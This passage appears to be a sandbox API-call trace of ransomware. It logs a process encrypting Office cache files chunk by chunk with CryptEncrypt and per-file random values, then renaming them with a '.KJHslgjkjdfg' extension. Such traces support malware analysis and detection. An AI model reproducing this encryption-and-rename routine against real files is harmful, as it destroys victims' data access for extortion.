[0155.916] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.921] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.922] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.922] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.922] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.922] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.922] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.928] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.931] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.931] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.932] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3a7e20, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.932] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.940] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.943] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3a7e20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.943] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.944] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.944] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.944] SetEndOfFile (hFile=0x124) returned 1 [0155.948] GetProcessHeap () returned 0x990000 [0155.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.948] GetProcessHeap () returned 0x990000 [0155.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.948] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.kjhslgjkjdfg")) returned 1 [0155.949] CloseHandle (hObject=0x124) returned 1 [0155.949] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0155.949] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.950] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=2507776) returned 1 [0155.950] GetProcessHeap () returned 0x990000 [0155.950] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.950] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.950] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.950] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.950] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.950] GetProcessHeap () returned 0x990000 [0155.950] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.950] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.950] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.950] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.987] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.987] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.987] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.987] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0156.020] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0156.020] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0156.020] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.020] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.021] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.025] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.028] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.028] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.030] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.030] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.030] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.030] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.041] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.044] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.044] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.046] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.046] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.046] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.046] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.052] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.055] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.055] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.056] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.056] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.056] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.056] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.056] SetEndOfFile (hFile=0x124) returned 1 [0156.060] GetProcessHeap () returned 0x990000 [0156.060] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0156.060] GetProcessHeap () returned 0x990000 [0156.060] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0156.060] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.kjhslgjkjdfg")) returned 1 [0156.062] CloseHandle (hObject=0x124) returned 1 [0156.062] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0156.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.063] GetProcessHeap () returned 0x990000 [0156.063] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0156.063] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0156.063] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0156.063] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xf, lpOverlapped=0x0) returned 1 [0156.067] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0156.067] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.067] GetProcessHeap () returned 0x990000 [0156.067] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0156.067] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0156.067] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.067] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0156.067] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0156.067] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0156.067] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0156.068] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0156.068] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0156.068] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0156.068] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.068] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.068] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x391, lpOverlapped=0x0) returned 1 [0156.068] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x3a0) returned 1 [0156.068] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.068] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x3a0, lpOverlapped=0x0) returned 1 [0156.069] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.069] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.069] SetEndOfFile (hFile=0x124) returned 1 [0156.072] GetProcessHeap () returned 0x990000 [0156.072] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0156.072] GetProcessHeap () returned 0x990000 [0156.072] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0156.072] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.kjhslgjkjdfg")) returned 1 [0156.080] CloseHandle (hObject=0x124) returned 1 [0156.080] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0156.080] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.080] GetProcessHeap () returned 0x990000 [0156.080] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0156.080] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0156.080] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0156.080] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0156.085] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0156.085] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.085] GetProcessHeap () returned 0x990000 [0156.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0156.085] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0156.085] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.085] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0156.085] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0156.085] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0156.086] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0156.086] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0156.086] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0156.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0156.086] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.086] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.086] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x5ac, lpOverlapped=0x0) returned 1 [0156.086] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5b0) returned 1 [0156.086] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, 